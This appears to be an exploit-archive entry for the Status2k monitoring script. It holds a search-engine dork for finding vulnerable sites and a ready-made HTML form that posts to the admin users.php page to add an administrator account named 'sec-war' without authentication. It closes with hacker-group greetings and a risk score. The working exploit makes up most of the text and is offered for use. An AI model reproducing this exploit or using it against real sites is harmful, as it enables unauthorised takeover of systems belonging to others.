Status2k Remote Add Admin Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

status2k Remote Add Admin Exploit by alnjm33. Version 1. Tested on Version 1. My home Sec-war.com


                                                ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
Exploit Title : status2k Remote Add Admin Exploit
Author: alnjm33
Software Link: it cost 24.95 / y
Script Site : http://www.status2k.com/buynow.html
Version: 1
Tested on: Version 1
My home : Sec-war.com
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
==========================================Dork==========================================
( allinurl:dynamicimg.php )
================================Exploit=============================================

&#60;html&#62;
&#60;title&#62;status2k Remote Add Admin&#60;/title&#62;

&#60;body link=&#34;#00FF00&#34; text=&#34;#008000&#34; bgcolor=&#34;#000000&#34;&#62;

&#60;form method=&#34;POST&#34; action=&#34;http://server/Status2k/admin/options/users.php&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;type&#34; value=&#34;add&#34;&#62;
&#60;table border=&#34;1&#34; cellpadding=&#34;4&#34; style=&#34;border-collapse: collapse&#34; width=&#34;100%&#34; bordercolor=&#34;#808080&#34;&#62;
&#60;tr&#62;
&#60;td class=&#34;top&#34;&#62;
&#60;p align=&#34;center&#34;&#62;&#60;b&#62;User & Pass : sec-war&#60;/b&#62;&#60;/p&#62;
&#60;p align=&#34;center&#34;&#62;&#60;b&#62;&#60;font face=&#34;Comic Sans MS&#34;&#62;
&#60;a href=&#34;http://server/path//index.php?act=idx&#34; style=&#34;text-decoration: none&#34;&#62;
&#60;font color=&#34;#00FF00&#34;&#62;Security War&#60;/font&#62;&#60;/a&#62;&#60;/font&#62;&#60;/b&#62;&#60;/p&#62;
&#60;p align=&#34;center&#34;&#62;&#60;b&#62;Username:&#60;/b&#62;&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;
&#60;td height=&#34;1&#34;&#62;
&#60;p align=&#34;center&#34;&#62;&#60;input type=&#34;text&#34; name=&#34;adminuser&#34; size=&#34;30&#34; value=&#34;sec-war&#34;&#62;&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;
&#60;td class=&#34;top&#34;&#62;
&#60;p align=&#34;center&#34;&#62;&#60;b&#62;Password:&#60;/b&#62;&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;

&#60;td height=&#34;22&#34;&#62;
&#60;p align=&#34;center&#34;&#62;
&#60;input type=&#34;password&#34; name=&#34;adminpass&#34; size=&#34;30&#34; value=&#34;sec-war&#34;&#62;&#60;/td&#62;
&#60;/tr&#62;
&#60;tr&#62;
&#60;td align=&#34;right&#34;&#62;
&#60;p align=&#34;center&#34;&#62;
&#60;input type=&#34;submit&#34; value=&#34;Add User &#62;&#62;&#34; style=&#34;font-weight: 700&#34;&#62;&#60;/td&#62;
&#60;/tr&#62;
&#60;/form&#62;
&#60;/table&#62;
&#60;/html&#62;
=======================================================================================
Greetz to :PrEdAtOr -Sh0ot3R - xXx - Mu$L!m-h4ck3r - ahmadso - JaMbA - RoOt_EgY- jago-dz - XR57 all Sec-War.com members

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1